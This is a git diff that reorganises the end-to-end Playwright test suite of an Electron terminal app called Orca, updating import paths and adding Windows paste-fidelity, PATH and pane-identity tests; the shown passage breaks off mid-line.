test.skip(process.platform !== 'win32', 'Windows xterm AltGr classification regression') + await installMainProcessPtyWriteSpy(electronApp) + await waitForActivePanePtyId(orcaPage) + + await pressAndExpectWrite(orcaPage, electronApp, 'Control+Alt+u', '\x1b\x15') + await pressAndExpectWrite(orcaPage, electronApp, 'Control+Alt+2', '\x1b2') + await pressAndExpectWrite(orcaPage, electronApp, 'Control+Alt+;', '\x1b;') + }) + + test('Ctrl+Enter protects local ConPTY shells without breaking trusted TUI chords', async ({ + orcaPage, + electronApp + }) => { + await installMainProcessPtyWriteSpy(electronApp) + await waitForActivePanePtyId(orcaPage) + + if (process.platform === 'win32') { + await pressAndExpectWrite(orcaPage, electronApp, 'Control+Enter', '\r') + const paneKey = await setActivePaneForegroundAgent(orcaPage, 'droid') + try { + // Droid queries CSI-u without activating live flags; trusted process evidence preserves cue/queue. + await pressAndExpectWrite(orcaPage, electronApp, 'Control+Enter', '\x1b[13;5u') + } finally { + await orcaPage.evaluate( + (key) => window.__store?.getState().clearPaneForegroundAgent(key), + paneKey + ) + } + return + } + + // Preserve the established query-only Droid/Grok contract outside local ConPTY. + await pressAndExpectWrite(orcaPage, electronApp, 'Control+Enter', '\x1b[13;5u') + }) +}) diff --git a/tests/e2e/terminal-windows-codex-multiline-paste.spec.ts b/tests/e2e/terminal/input/terminal-windows-codex-multiline-paste.spec.ts similarity index 63% rename from tests/e2e/terminal-windows-codex-multiline-paste.spec.ts rename to tests/e2e/terminal/input/terminal-windows-codex-multiline-paste.spec.ts index dc09346138a..a22e7afc850 100644 --- a/tests/e2e/terminal-windows-codex-multiline-paste.spec.ts +++ b/tests/e2e/terminal/input/terminal-windows-codex-multiline-paste.spec.ts @@ -1,20 +1,21 @@ import { createHash, randomUUID } from 'node:crypto' import { rmSync, writeFileSync } from 'node:fs' import path from 'node:path' -import { test, expect } from './helpers/orca-app' -import { attachRepoAndOpenTerminal } from './helpers/orca-restart' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { attachRepoAndOpenTerminal } from '../../desktop/electron-fixtures/orca-restart' +import { focusActiveTerminalInput, waitForActivePanePtyId } from './terminal' import { - focusActiveTerminalInput, - getTerminalContent, sendToTerminal, - waitForActivePanePtyId, waitForActiveTerminalManager, waitForTerminalOutput -} from './helpers/terminal' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' - -const DRAFT = 'ORCA_CODEX_PASTE_DRAFT_SHOULD_STAY_UNSENT' -const CODEX_TRUST_PROMPT_RE = /Do[\s\S]*you[\s\S]*trust[\s\S]*contents/i +} from '../layout/terminal-pane-operations' +import '../layout/terminal-pane-identity' +import { + ensureTerminalVisible, + waitForActiveWorktree, + waitForSessionReady +} from '../../desktop/renderer-probes/store' function pastePayload(repeats = 4): string { const lines = [ @@ -108,67 +109,9 @@ async function enableTerminalAccessibilityDom( ).toBeAttached({ timeout: 10_000 }) } -async function waitForCodexComposerReady( - page: Parameters[0] -): Promise { - // Wait for delayed MCP startup to finish after the header, then paste into idle composer. - await page.waitForTimeout(5_000) - await expect - .poll(async () => await getTerminalContent(page, 12_000), { timeout: 60_000 }) - .not.toMatch(/Booting MCP server|tab to queue message/i) - // Require the idle placeholder positively; absent boot states also match an empty screen. - await expect - .poll(async () => await getTerminalContent(page, 12_000), { timeout: 60_000 }) - .toMatch(/Ask Codex/i) -} - test.describe('Windows Codex multiline paste', () => { test.use({ seedTestRepo: false }) - test('multiline Ctrl+V keeps the existing Codex draft unsent @local-real-codex', async ({ - orcaPage, - testRepoPath - }) => { - test.skip(process.platform !== 'win32', 'Windows ConPTY coverage is Windows-only') - test.skip( - process.env.ORCA_E2E_REAL_CODEX !== '1', - 'Set ORCA_E2E_REAL_CODEX=1 to exercise the locally installed Codex TUI' - ) - test.slow() - - await waitForSessionReady(orcaPage) - await activateTestRepository(orcaPage, testRepoPath) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - - const ptyId = await waitForActivePanePtyId(orcaPage) - await sendToTerminal(orcaPage, ptyId, 'codex -m orca-e2e-invalid-model\r') - await expect - .poll(() => getTerminalContent(orcaPage, 12_000), { timeout: 20_000 }) - .toMatch(/Do[\s\S]*you[\s\S]*trust[\s\S]*contents|OpenAI Codex/i) - if (CODEX_TRUST_PROMPT_RE.test(await getTerminalContent(orcaPage, 12_000))) { - await sendToTerminal(orcaPage, ptyId, '\r') - } - await waitForTerminalOutput(orcaPage, 'OpenAI Codex', 20_000, 30_000) - await waitForCodexComposerReady(orcaPage) - await enableTerminalAccessibilityDom(orcaPage, ptyId) - await focusActiveTerminalInput(orcaPage) - await orcaPage.keyboard.type(DRAFT) - const terminalDom = orcaPage.locator( - `[data-pty-id=${JSON.stringify(ptyId)}] .xterm-accessibility-tree` - ) - await expect(terminalDom).toContainText(DRAFT, { timeout: 10_000 }) - await orcaPage.evaluate((text) => window.api.ui.writeClipboardText(text), pastePayload()) - - await orcaPage.keyboard.press('Control+V') - await expect(terminalDom).toContainText('[Pasted Content', { timeout: 10_000 }) - await expect(terminalDom).toContainText(DRAFT) - await orcaPage.waitForTimeout(2_000) - await expect(terminalDom).not.toContainText('Working') - await expect(terminalDom).not.toContainText('unexpected status 404') - }) - test('delivers a normalized large paste through native ConPTY', async ({ orcaPage, testRepoPath diff --git a/tests/e2e/terminal-windows-path-expansion.spec.ts b/tests/e2e/terminal/input/terminal-windows-path-expansion.spec.ts similarity index 78% rename from tests/e2e/terminal-windows-path-expansion.spec.ts rename to tests/e2e/terminal/input/terminal-windows-path-expansion.spec.ts index 4eb244e6768..0ab0ded3a7d 100644 --- a/tests/e2e/terminal-windows-path-expansion.spec.ts +++ b/tests/e2e/terminal/input/terminal-windows-path-expansion.spec.ts @@ -1,9 +1,10 @@ import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs' import os from 'node:os' import path from 'node:path' -import { test as base } from './helpers/orca-app' -import { ensureTerminalVisible, waitForSessionReady } from './helpers/store' -import { execInTerminal, waitForActivePanePtyId, waitForTerminalOutput } from './helpers/terminal' +import { test as base } from '../../desktop/electron-fixtures/orca-app' +import { ensureTerminalVisible, waitForSessionReady } from '../../desktop/renderer-probes/store' +import { waitForActivePanePtyId } from './terminal' +import { execInTerminal, waitForTerminalOutput } from '../layout/terminal-pane-operations' const probeRoot = mkdtempSync(path.join(os.tmpdir(), 'orca-e2e-path-expansion-')) const probeBin = path.join(probeRoot, 'bin') diff --git a/tests/e2e/terminal/input/terminal-windows-shell-paste-ownership.spec.ts b/tests/e2e/terminal/input/terminal-windows-shell-paste-ownership.spec.ts new file mode 100644 index 00000000000..97866746583 --- /dev/null +++ b/tests/e2e/terminal/input/terminal-windows-shell-paste-ownership.spec.ts @@ -0,0 +1,148 @@ +import { randomUUID } from 'node:crypto' +import 'node:child_process' +import { rmSync, writeFileSync } from 'node:fs' +import path from 'node:path' +import type { Page } from '@stablyai/playwright-test' +import type { WINDOWS_GIT_BASH_SHELL } from '../../../../src/shared/shell/launch/windows-terminal-shell' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { focusActiveTerminalInput, waitForActivePanePtyId } from './terminal' +import { + sendToTerminal, + waitForActiveTerminalManager, + waitForTerminalOutput +} from '../layout/terminal-pane-operations' +import { + ensureTerminalVisible, + waitForActiveWorktree, + waitForSessionReady +} from '../../desktop/renderer-probes/store' +import { + clearTerminalPtyWriteLog, + installTerminalPtyWriteSpy, + readTerminalPtyWrites +} from './terminal-pty-write-spy' + +type WindowsPasteShell = 'cmd.exe' | 'powershell.exe' | 'wsl.exe' | typeof WINDOWS_GIT_BASH_SHELL + +function pasteCollectScript(runId: string, sentinel: string, expectedText: string): string { + return ` +process.stdin.setEncoding('utf8') +if (process.stdin.isTTY) process.stdin.setRawMode(true) +process.stdin.resume() +let received = '' +const interrupt = String.fromCharCode(3) +const bracketStart = String.fromCharCode(27) + '[200~' +const bracketEnd = String.fromCharCode(27) + '[201~' +const expectedText = ${JSON.stringify(expectedText)} +process.stdout.write('PASTE_READY_${runId}\\n') +process.stdin.on('data', (chunk) => { + if (chunk.includes(interrupt)) { + process.exit(0) + } + received += chunk + if (!received.includes(${JSON.stringify(sentinel)})) { + return + } + const normalized = received.split(bracketStart).join('').split(bracketEnd).join('') + const status = normalized === expectedText + ? 'MATCH' + : 'MISMATCH:' + normalized.length + ':' + expectedText.length + process.stdout.write('PASTE_COMPLETE_${runId}:' + status + '\\n') +}) +` +} + +function countOccurrences(value: string, needle: string): number { + let count = 0 + let index = value.indexOf(needle) + while (index !== -1) { + count += 1 + index = value.indexOf(needle, index + needle.length) + } + return count +} + +async function createWindowsDefaultShellTerminalTab( + page: Page, + shell: WindowsPasteShell +): Promise { + const tabId = await page.evaluate(async (selectedShell) => { + const store = window.__store + if (!store) { + throw new Error('Store unavailable') + } + const state = store.getState() + const worktreeId = state.activeWorktreeId + if (!worktreeId) { + throw new Error('No active worktree') + } + + await state.updateSettings({ terminalWindowsShell: selectedShell }) + const terminal = store.getState().createTab(worktreeId) + store.getState().setActiveTab(terminal.id) + store.getState().setActiveTabType('terminal', store.getState().activeWorktreeId) + return terminal.id + }, shell) + + const tab = page.locator(`[data-testid="sortable-tab"][data-tab-id="${tabId}"]`) + await expect(tab).toBeVisible() + await expect(tab.locator('[data-shell-icon]')).toHaveAttribute('data-shell-icon', shell) + + return tabId +} + +test.describe('Windows terminal shell paste ownership', () => { + test.skip(process.platform !== 'win32', 'Windows terminal shell paste coverage is Windows-only') + + test('PowerShell default terminal keyboard paste preserves exact content with one PTY owner', async ({ + electronApp, + orcaPage, + testRepoPath + }) => { + await waitForSessionReady(orcaPage) + await waitForActiveWorktree(orcaPage) + await ensureTerminalVisible(orcaPage) + await createWindowsDefaultShellTerminalTab(orcaPage, 'powershell.exe') + await waitForActiveTerminalManager(orcaPage, 30_000) + await installTerminalPtyWriteSpy(electronApp) + + const ptyId = await waitForActivePanePtyId(orcaPage) + const runId = randomUUID() + const sentinel = `ORCA_E2E_POWERSHELL_DONE_${runId}` + const powershellEscape = '`' + const payload = [ + `ORCA_E2E_POWERSHELL_PASTE_${runId}`, + `PowerShell metacharacters: ${powershellEscape} $ " ' ; | & < > @ { } ( )`, + 'quoted Windows path: C:\\Program Files\\Orca Test\\file name.txt', + 'cmd metacharacters preserved as text: %PATH% !PROMPT! ^ & | < >', + 'Unicode: café 你好 مرحبا 😀', + `mixed-newline-before\r\nlf-line\ncrlf-line\r\n${sentinel}` + ].join('\n') + const scriptPath = path.join(testRepoPath, `.orca-paste-powershell-shell-${runId}.mjs`) + const expectedText = payload.replace(/\r?\n/g, '\r') + writeFileSync(scriptPath, pasteCollectScript(runId, sentinel, expectedText)) + let scriptStarted = false + + try { + await sendToTerminal(orcaPage, ptyId, `node ${JSON.stringify(scriptPath)}\r`) + scriptStarted = true + await waitForTerminalOutput(orcaPage, `PASTE_READY_${runId}`, 10_000) + + await clearTerminalPtyWriteLog(electronApp) + await orcaPage.evaluate((text) => window.api.ui.writeClipboardText(text), payload) + await focusActiveTerminalInput(orcaPage) + + await orcaPage.keyboard.press('Control+V') + await waitForTerminalOutput(orcaPage, `PASTE_COMPLETE_${runId}:MATCH`, 10_000, 12_000) + + const writes = (await readTerminalPtyWrites(electronApp)).join('') + expect(countOccurrences(writes, expectedText), 'PowerShell payload PTY write count').toBe(1) + } finally { + if (scriptStarted) { + await sendToTerminal(orcaPage, ptyId, '\x03').catch(() => undefined) + } + rmSync(scriptPath, { force: true }) + } + }) +}) diff --git a/tests/e2e/helpers/terminal.ts b/tests/e2e/terminal/input/terminal.ts similarity index 52% rename from tests/e2e/helpers/terminal.ts rename to tests/e2e/terminal/input/terminal.ts index f55ea1077ef..852c3a5f70a 100644 --- a/tests/e2e/helpers/terminal.ts +++ b/tests/e2e/terminal/input/terminal.ts @@ -1,44 +1,15 @@ import type { Page } from '@stablyai/playwright-test' import { expect } from '@stablyai/playwright-test' import { - getTerminalContent, readPaneIdentitySnapshot, resolveActiveTabId, - type ActivePaneHookDescriptor, type PaneIdentitySnapshot -} from './terminal-pane-identity' -import { - discoverActivePtyId as discoverActivePtyIdImpl, - waitForActivePaneHookDescriptor as waitForActivePaneHookDescriptorImpl -} from './terminal-active-pane' -import { - closeActiveTerminalPane as closeActiveTerminalPaneImpl, - countVisibleTerminalPanes as countVisibleTerminalPanesImpl, - execInTerminal as execInTerminalImpl, - focusLastTerminalPane as focusLastTerminalPaneImpl, - moveTerminalPaneByLeafId as moveTerminalPaneByLeafIdImpl, - readTerminalPaneDomLeafOrder as readTerminalPaneDomLeafOrderImpl, - sendToTerminal as sendToTerminalImpl, - splitActiveTerminalPane as splitActiveTerminalPaneImpl, - waitForActiveTerminalManager as waitForActiveTerminalManagerImpl, - waitForPaneCount as waitForPaneCountImpl, - waitForTerminalOutput as waitForTerminalOutputImpl -} from './terminal-pane-operations' +} from '../layout/terminal-pane-identity' +import './terminal-active-pane' -export { requestTerminalPaneClose } from './terminal-pane-operations' +import '../layout/terminal-pane-operations' -export { - expectTerminalAccessibilityText, - readTerminalAccessibilityText -} from './terminal-accessibility-tree' - -export { - getTerminalContent, - readPaneIdentitySnapshot, - resolveActiveTabId, - type ActivePaneHookDescriptor, - type PaneIdentitySnapshot -} +import './terminal-accessibility-tree' export const UUID_RE = /^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/ @@ -142,75 +113,3 @@ export async function waitForPaneIdentitySnapshot( } return snapshot } - -export function waitForActivePaneHookDescriptor( - page: Page, - timeoutMs = 15_000 -): Promise { - return waitForActivePaneHookDescriptorImpl(page, timeoutMs) -} - -export function discoverActivePtyId(page: Page): Promise { - return discoverActivePtyIdImpl(page) -} - -export function readTerminalPaneDomLeafOrder(page: Page): Promise { - return readTerminalPaneDomLeafOrderImpl(page) -} - -export function moveTerminalPaneByLeafId( - page: Page, - sourceLeafId: string, - targetLeafId: string, - zone: 'top' | 'bottom' | 'left' | 'right' -): Promise { - return moveTerminalPaneByLeafIdImpl(page, sourceLeafId, targetLeafId, zone) -} - -export function sendToTerminal(page: Page, ptyId: string, text: string): Promise { - return sendToTerminalImpl(page, ptyId, text) -} - -export function execInTerminal(page: Page, ptyId: string, command: string): Promise { - return execInTerminalImpl(page, ptyId, command) -} - -export function waitForActiveTerminalManager(page: Page, timeoutMs = 30_000): Promise { - return waitForActiveTerminalManagerImpl(page, timeoutMs) -} - -export function splitActiveTerminalPane( - page: Page, - direction: 'vertical' | 'horizontal' -): Promise { - return splitActiveTerminalPaneImpl(page, direction) -} - -export function closeActiveTerminalPane(page: Page): Promise { - return closeActiveTerminalPaneImpl(page) -} - -export function focusLastTerminalPane(page: Page): Promise { - return focusLastTerminalPaneImpl(page) -} - -export function countVisibleTerminalPanes(page: Page): Promise { - return countVisibleTerminalPanesImpl(page) -} - -export function waitForTerminalOutput( - page: Page, - expected: string, - timeoutMs = 10_000, - charLimit = 4000 -): Promise { - return waitForTerminalOutputImpl(page, expected, timeoutMs, charLimit) -} - -export function waitForPaneCount( - page: Page, - expectedCount: number, - timeoutMs = 10_000 -): Promise { - return waitForPaneCountImpl(page, expectedCount, timeoutMs) -} diff --git a/tests/e2e/terminal/input/windows-terminal-env-icons.spec.ts b/tests/e2e/terminal/input/windows-terminal-env-icons.spec.ts new file mode 100644 index 00000000000..3c1e7745185 --- /dev/null +++ b/tests/e2e/terminal/input/windows-terminal-env-icons.spec.ts @@ -0,0 +1,36 @@ +import { test } from '../../desktop/electron-fixtures/orca-app' + +import '../../remote/wsl-hosts/wsl-golden-stub-agent' + +import { + ensureTerminalVisible, + waitForActiveWorktree, + waitForSessionReady +} from '../../desktop/renderer-probes/store' +import { waitForActivePanePtyId } from './terminal' +import { + execInTerminal, + waitForActiveTerminalManager, + waitForTerminalOutput +} from '../layout/terminal-pane-operations' + +test.describe('Windows terminal env and shell identity', () => { + test.beforeEach(async ({ orcaPage }) => { + await waitForSessionReady(orcaPage) + await waitForActiveWorktree(orcaPage) + await ensureTerminalVisible(orcaPage) + }) + + test('dev terminal preserves parent PATH so PATH commands resolve', async ({ orcaPage }) => { + await waitForActiveTerminalManager(orcaPage) + + const ptyId = await waitForActivePanePtyId(orcaPage) + const marker = `__ORCA_E2E_NODE_PATH_${Date.now()}__` + + // Why: before the dev PATH fallback, daemon-spawned PTYs could get PATH set + // to only Orca's dev CLI bin. A real terminal command catches that failure. + await execInTerminal(orcaPage, ptyId, `node -e "console.log('${marker}')"`) + + await waitForTerminalOutput(orcaPage, marker, 15_000) + }) +}) diff --git a/tests/e2e/terminal-close-pane-focus.spec.ts b/tests/e2e/terminal/layout/terminal-close-pane-focus.spec.ts similarity index 80% rename from tests/e2e/terminal-close-pane-focus.spec.ts rename to tests/e2e/terminal/layout/terminal-close-pane-focus.spec.ts index b95cfc58971..f8feac3a971 100644 --- a/tests/e2e/terminal-close-pane-focus.spec.ts +++ b/tests/e2e/terminal/layout/terminal-close-pane-focus.spec.ts @@ -6,17 +6,14 @@ */ import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { - focusActiveTerminalInput, - readTerminalPaneDomLeafOrder, - resolveActiveTabId, - waitForPaneCount, - waitForPaneIdentitySnapshot -} from './helpers/terminal' -import { closeActivePaneFromKeyboard } from './helpers/terminal-layout-journeys' -import { registerTerminalPaneMountReadiness } from './helpers/terminal-pane-mount-readiness' -import { waitForTerminalOutputForPtyId } from './artificial-opencode-pane-interactions' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { focusActiveTerminalInput, waitForPaneIdentitySnapshot } from '../input/terminal' +import { readTerminalPaneDomLeafOrder, waitForPaneCount } from './terminal-pane-operations' +import { resolveActiveTabId } from './terminal-pane-identity' +import { closeActivePaneFromKeyboard } from '../../layout/publication/terminal-layout-journeys' +import { registerTerminalPaneMountReadiness } from './terminal-pane-mount-readiness' +import { waitForTerminalOutputForPtyId } from '../performance/artificial-opencode-pane-interactions' const SPLIT_RIGHT_CHORD = process.platform === 'darwin' ? 'Meta+d' : 'Control+Shift+d' diff --git a/tests/e2e/terminal-closed-pane-quit-relaunch.spec.ts b/tests/e2e/terminal/layout/terminal-closed-pane-quit-relaunch.spec.ts similarity index 88% rename from tests/e2e/terminal-closed-pane-quit-relaunch.spec.ts rename to tests/e2e/terminal/layout/terminal-closed-pane-quit-relaunch.spec.ts index e7e4d6ac361..7b257e3c23f 100644 --- a/tests/e2e/terminal-closed-pane-quit-relaunch.spec.ts +++ b/tests/e2e/terminal/layout/terminal-closed-pane-quit-relaunch.spec.ts @@ -2,20 +2,28 @@ // macOS descendant kill grace can leave a dying daemon session listed live, which old startup adopted and respawned under its closed id. import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { createRestartSession } from './helpers/orca-restart' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { createRestartSession } from '../../desktop/electron-fixtures/orca-restart' +import { focusActiveTerminalInput } from '../input/terminal' import { - focusActiveTerminalInput, sendToTerminal, splitActiveTerminalPane, waitForActiveTerminalManager, waitForPaneCount -} from './helpers/terminal' -import { bootstrapFirstLaunch, seededRepoPathOrSkip } from './helpers/terminal-restart-persistence' -import { ensureTerminalVisible, getActiveWorktreeId, waitForSessionReady } from './helpers/store' -import { SORTABLE_TAB } from './helpers/terminal-tab-menu' -import { RuntimeClient } from '../../src/cli/runtime/client' -import type { RuntimeTerminalListResult } from '../../src/shared/terminal/runtime/runtime-terminal-contracts' +} from './terminal-pane-operations' +import { + bootstrapFirstLaunch, + seededRepoPathOrSkip +} from '../retention/terminal-restart-persistence' +import { + ensureTerminalVisible, + getActiveWorktreeId, + waitForSessionReady +} from '../../desktop/renderer-probes/store' +import { SORTABLE_TAB } from './terminal-tab-menu' +import { RuntimeClient } from '../../../../src/cli/runtime/client' +import type { RuntimeTerminalListResult } from '../../../../src/shared/terminal/runtime/runtime-terminal-contracts' test.describe.configure({ mode: 'serial' }) diff --git a/tests/e2e/helpers/terminal-inventory-observation.ts b/tests/e2e/terminal/layout/terminal-inventory-observation.ts similarity index 83% rename from tests/e2e/helpers/terminal-inventory-observation.ts rename to tests/e2e/terminal/layout/terminal-inventory-observation.ts index a10fc524c88..fc3d0d3392b 100644 --- a/tests/e2e/helpers/terminal-inventory-observation.ts +++ b/tests/e2e/terminal/layout/terminal-inventory-observation.ts @@ -1,4 +1,4 @@ -import type { RuntimeTerminalListResult } from '../../../src/shared/terminal/runtime/runtime-terminal-contracts' +import type { RuntimeTerminalListResult } from '../../../../src/shared/terminal/runtime/runtime-terminal-contracts' // Retry host liveness and mid-mount binding refusals instead of ending the observation poll. const TRANSIENT_INVENTORY_REFUSALS = [ diff --git a/tests/e2e/terminal-pane-content-retention.spec.ts b/tests/e2e/terminal/layout/terminal-pane-content-retention.spec.ts similarity index 87% rename from tests/e2e/terminal-pane-content-retention.spec.ts rename to tests/e2e/terminal/layout/terminal-pane-content-retention.spec.ts index b6f45307577..e69d4e80a5a 100644 --- a/tests/e2e/terminal-pane-content-retention.spec.ts +++ b/tests/e2e/terminal/layout/terminal-pane-content-retention.spec.ts @@ -1,17 +1,19 @@ // Require scrollback retention across tab, pane and worktree changes. -import { test, expect } from './helpers/orca-app' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import '../input/terminal' +import { discoverActivePtyId } from '../input/terminal-active-pane' import { - discoverActivePtyId, execInTerminal, closeActiveTerminalPane, countVisibleTerminalPanes, focusLastTerminalPane, splitActiveTerminalPane, waitForTerminalOutput, - waitForPaneCount, - getTerminalContent -} from './helpers/terminal' + waitForPaneCount +} from './terminal-pane-operations' +import { getTerminalContent } from './terminal-pane-identity' import { getActiveWorktreeId, getActiveTabType, @@ -20,9 +22,9 @@ import { switchToOtherWorktree, switchToWorktree, ensureTerminalVisible -} from './helpers/store' -import { pressShortcut } from './helpers/shortcuts' -import { registerTerminalPaneMountReadiness } from './helpers/terminal-pane-mount-readiness' +} from '../../desktop/renderer-probes/store' +import { pressShortcut } from '../../desktop/renderer-probes/shortcuts' +import { registerTerminalPaneMountReadiness } from './terminal-pane-mount-readiness' // Serialize headful scenarios; visible-window runs require an isolated display. test.describe.configure({ mode: 'serial' }) diff --git a/tests/e2e/helpers/terminal-pane-geometry.ts b/tests/e2e/terminal/layout/terminal-pane-geometry.ts similarity index 89% rename from tests/e2e/helpers/terminal-pane-geometry.ts rename to tests/e2e/terminal/layout/terminal-pane-geometry.ts index b055d6ccf88..87b4783b9d3 100644 --- a/tests/e2e/helpers/terminal-pane-geometry.ts +++ b/tests/e2e/terminal/layout/terminal-pane-geometry.ts @@ -1,6 +1,7 @@ import type { Page } from '@stablyai/playwright-test' -import { expect } from './orca-app' -import { waitForPaneIdentitySnapshot } from './terminal' +import '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { waitForPaneIdentitySnapshot } from '../input/terminal' export async function readVisibleXtermContainerBox( page: Page diff --git a/tests/e2e/helpers/terminal-pane-identity.ts b/tests/e2e/terminal/layout/terminal-pane-identity.ts similarity index 95% rename from tests/e2e/helpers/terminal-pane-identity.ts rename to tests/e2e/terminal/layout/terminal-pane-identity.ts index f3380b4ec0d..84bd265ec2a 100644 --- a/tests/e2e/helpers/terminal-pane-identity.ts +++ b/tests/e2e/terminal/layout/terminal-pane-identity.ts @@ -1,5 +1,5 @@ -import type { RuntimeTerminalSummary } from '../../../src/shared/terminal/runtime/runtime-terminal-contracts' -import { makePaneKey } from '../../../src/shared/workspace-layout/stable-pane-id' +import type { RuntimeTerminalSummary } from '../../../../src/shared/terminal/runtime/runtime-terminal-contracts' +import { makePaneKey } from '../../../../src/shared/workspace-layout/stable-pane-id' import type { Page } from '@stablyai/playwright-test' export type PaneIdentitySnapshot = { diff --git a/tests/e2e/helpers/terminal-pane-mount-readiness.ts b/tests/e2e/terminal/layout/terminal-pane-mount-readiness.ts similarity index 78% rename from tests/e2e/helpers/terminal-pane-mount-readiness.ts rename to tests/e2e/terminal/layout/terminal-pane-mount-readiness.ts index 0a3038f206f..fa1f45bf57b 100644 --- a/tests/e2e/helpers/terminal-pane-mount-readiness.ts +++ b/tests/e2e/terminal/layout/terminal-pane-mount-readiness.ts @@ -1,6 +1,11 @@ -import { test } from './orca-app' -import { waitForSessionReady, waitForActiveWorktree, ensureTerminalVisible } from './store' -import { waitForActiveTerminalManager, waitForPaneCount } from './terminal' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { + waitForSessionReady, + waitForActiveWorktree, + ensureTerminalVisible +} from '../../desktop/renderer-probes/store' +import '../input/terminal' +import { waitForActiveTerminalManager, waitForPaneCount } from './terminal-pane-operations' export function registerTerminalPaneMountReadiness(): void { test.beforeEach(async ({ orcaPage }) => { diff --git a/tests/e2e/helpers/terminal-pane-operations.ts b/tests/e2e/terminal/layout/terminal-pane-operations.ts similarity index 99% rename from tests/e2e/helpers/terminal-pane-operations.ts rename to tests/e2e/terminal/layout/terminal-pane-operations.ts index 580b7d0c87f..653232b486f 100644 --- a/tests/e2e/helpers/terminal-pane-operations.ts +++ b/tests/e2e/terminal/layout/terminal-pane-operations.ts @@ -7,7 +7,7 @@ import { import { REQUEST_ACTIVE_TERMINAL_PANE_CLOSE_EVENT, REQUEST_ACTIVE_TERMINAL_PANE_SPLIT_EVENT -} from '../../../src/renderer/src/constants/terminal' +} from '../../../../src/renderer/src/constants/terminal' export async function readTerminalPaneDomLeafOrder(page: Page): Promise { const snapshot = await readPaneIdentitySnapshot(page) diff --git a/tests/e2e/terminal/layout/terminal-pane-split-identity.spec.ts b/tests/e2e/terminal/layout/terminal-pane-split-identity.spec.ts new file mode 100644 index 00000000000..debe24cb881 --- /dev/null +++ b/tests/e2e/terminal/layout/terminal-pane-split-identity.spec.ts @@ -0,0 +1,35 @@ +// Require stable split-leaf UUIDs across PTY binding, ORCA_PANE_KEY and context menu. + +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { UUID_RE, waitForPaneIdentitySnapshot } from '../input/terminal' +import { discoverActivePtyId } from '../input/terminal-active-pane' +import { execInTerminal, waitForTerminalOutput } from './terminal-pane-operations' +import './terminal-pane-title-actions' + +import { registerTerminalPaneMountReadiness } from './terminal-pane-mount-readiness' + +// Serialize headful scenarios; visible-window runs require an isolated display. +test.describe.configure({ mode: 'serial' }) +test.describe('Terminal Panes', () => { + registerTerminalPaneMountReadiness() + + test('terminal process receives ORCA_PANE_KEY with the active UUID leaf id', async ({ + orcaPage + }) => { + const snapshot = await waitForPaneIdentitySnapshot(orcaPage, 1) + const activeLeafId = snapshot.activeLeafId ?? snapshot.panes[0]?.leafId + if (!activeLeafId) { + throw new Error('No active pane leaf id found') + } + + const expectedPaneKey = `${snapshot.tabId}:${activeLeafId}` + const ptyId = await discoverActivePtyId(orcaPage) + const marker = `ORCA_PANE_KEY_E2E_${Date.now()}` + + await execInTerminal(orcaPage, ptyId, `printf '${marker}=%s\\n' "$ORCA_PANE_KEY"`) + await waitForTerminalOutput(orcaPage, `${marker}=${expectedPaneKey}`) + + expect(activeLeafId).toMatch(UUID_RE) + }) +}) diff --git a/tests/e2e/helpers/terminal-pane-title-actions.ts b/tests/e2e/terminal/layout/terminal-pane-title-actions.ts similarity index 92% rename from tests/e2e/helpers/terminal-pane-title-actions.ts rename to tests/e2e/terminal/layout/terminal-pane-title-actions.ts index 045b547671d..0a5fccefde9 100644 --- a/tests/e2e/helpers/terminal-pane-title-actions.ts +++ b/tests/e2e/terminal/layout/terminal-pane-title-actions.ts @@ -1,5 +1,6 @@ import type { Page } from '@stablyai/playwright-test' -import { expect } from './orca-app' +import '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' export async function setPaneTitleFromTerminalMenu(page: Page, title: string): Promise { await openTerminalContextMenu(page) diff --git a/tests/e2e/terminal-split-pane-paste-ownership.spec.ts b/tests/e2e/terminal/layout/terminal-split-pane-paste-ownership.spec.ts similarity index 90% rename from tests/e2e/terminal-split-pane-paste-ownership.spec.ts rename to tests/e2e/terminal/layout/terminal-split-pane-paste-ownership.spec.ts index 4679a4ba332..fc077f73b83 100644 --- a/tests/e2e/terminal-split-pane-paste-ownership.spec.ts +++ b/tests/e2e/terminal/layout/terminal-split-pane-paste-ownership.spec.ts @@ -1,23 +1,27 @@ import { randomUUID } from 'node:crypto' import { rmSync, writeFileSync } from 'node:fs' import path from 'node:path' -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { + ensureTerminalVisible, + waitForActiveWorktree, + waitForSessionReady +} from '../../desktop/renderer-probes/store' +import { focusActiveTerminalInput, waitForPaneIdentitySnapshot } from '../input/terminal' import { - focusActiveTerminalInput, focusLastTerminalPane, sendToTerminal, splitActiveTerminalPane, waitForActiveTerminalManager, waitForPaneCount, - waitForPaneIdentitySnapshot, waitForTerminalOutput -} from './helpers/terminal' +} from './terminal-pane-operations' import { clearTerminalPtyWriteLog, installTerminalPtyWriteSpy, readTerminalPtyWriteEntries -} from './helpers/terminal-pty-write-spy' +} from '../input/terminal-pty-write-spy' function keyboardPasteChord(): string { return process.platform === 'darwin' ? 'Meta+V' : 'Control+V' diff --git a/tests/e2e/helpers/terminal-tab-menu.ts b/tests/e2e/terminal/layout/terminal-tab-menu.ts similarity index 96% rename from 